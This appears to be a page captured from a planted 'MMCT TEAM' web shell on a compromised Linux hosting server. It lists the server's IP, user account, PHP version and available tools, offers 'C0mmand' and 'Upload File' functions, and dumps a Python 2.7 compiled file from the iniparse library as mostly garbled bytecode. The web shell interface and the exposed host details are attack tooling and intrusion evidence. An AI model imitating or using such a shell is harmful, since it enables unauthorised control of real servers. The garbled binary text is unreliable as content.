MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.133.139.28
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib/python2.7/site-packages/iniparse/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib/python2.7/site-packages/iniparse/utils.pyc
�
J��Kc@s8ddlZddlmZmZd�Zd�ZdS(i����N(t
LineContainert	EmptyLinecCs	t|tj�r|j}n|jj}d}x�|t|�kr�t||t�rst||�|d7}q3t||dt	�r�t||t	�r�||=q3|d7}q3W|r�t|dt	�r�|d=n|rt|dt	�r|j
t	��ndS(s�Clean up blank lines.

    This functions makes the configuration look clean and
    handwritten - consecutive empty lines and empty lines at
    the start of the file are removed, and one is guaranteed
    to be at the end of the file.
    iii����N(t
isinstancetcompattRawConfigParsertdatat_datatcontentstlenRttidy_sectionRtappend(tcfgtcontti((s2/usr/lib/python2.7/site-packages/iniparse/utils.pyttidys 	


cCs�|j}d}xT|t|�kret||dt�rXt||t�rX||=q|d7}qWt|�dkr�t|dt�r�|d=ndS(Ni(RRRR(tlcRR
((s2/usr/lib/python2.7/site-packages/iniparse/utils.pyR	#s	
%(RtiniRRRR	(((s2/usr/lib/python2.7/site-packages/iniparse/utils.pyt<module>s	

MMCT - 2023